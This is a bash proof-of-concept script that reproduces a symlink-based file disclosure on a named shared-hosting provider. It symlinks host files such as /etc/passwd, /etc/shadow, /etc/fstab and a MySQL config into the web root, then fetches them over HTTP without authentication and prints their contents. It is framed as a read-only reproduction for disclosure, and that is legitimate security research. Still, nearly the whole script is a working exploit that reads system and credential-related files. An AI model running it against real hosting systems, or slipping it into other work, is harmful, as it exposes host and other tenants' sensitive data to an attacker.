#!/bin/bash
# Reproduction of the symlink host-file disclosure on alwaysdata shared hosting.
# Run inside your own account over SSH. Read-only, cleans up after itself.
# Tested 2026-09-04, free plan.
set -u

WEB="https://[account].alwaysdata.net"   # your site address

echo "== baseline: www/ contains no test files =="
ls -la ~/www/

echo
echo "== create symlink to host /etc/passwd =="
ln -sf /etc/passwd ~/www/poc_passwd
ls -l ~/www/poc_passwd

echo
echo "== fetch from outside, no authentication =="
sleep 2
code=$(curl -s -o /tmp/poc_passwd.out -w "%{http_code}" "$WEB/poc_passwd")
echo "HTTP $code, $(wc -c < /tmp/poc_passwd.out) bytes"
head -4 /tmp/poc_passwd.out

echo
echo "== controls =="
curl -s -o /dev/null -w "missing file:   HTTP %{http_code}\n" "$WEB/poc_NOEXIST"
ln -sf /etc/shadow ~/www/poc_shadow
curl -s -o /dev/null -w "/etc/shadow:    HTTP %{http_code}\n" "$WEB/poc_shadow"

echo
echo "== other world-readable host files =="
ln -sf /etc/fstab        ~/www/poc_fstab
ln -sf /etc/resolv.conf  ~/www/poc_resolv
ln -sf /etc/mysql/my.cnf ~/www/poc_mycnf
sleep 2
for f in poc_fstab poc_resolv poc_mycnf; do
  c=$(curl -s -o /dev/null -w "%{http_code}" "$WEB/$f")
  echo "$f: HTTP $c"
done
echo "--- /etc/fstab content ---"
curl -s "$WEB/poc_fstab" | grep -v '^#' | grep -v '^$'

echo
echo "== whose passwd is this? =="
echo "own account name occurrences in served file: $(curl -s "$WEB/poc_passwd" | grep -c "$(id -un)")"
echo "www-data (host apache user) occurrences:     $(curl -s "$WEB/poc_passwd" | grep -c www-data)"

echo
echo "== cleanup =="
rm -f ~/www/poc_*
ls ~/www/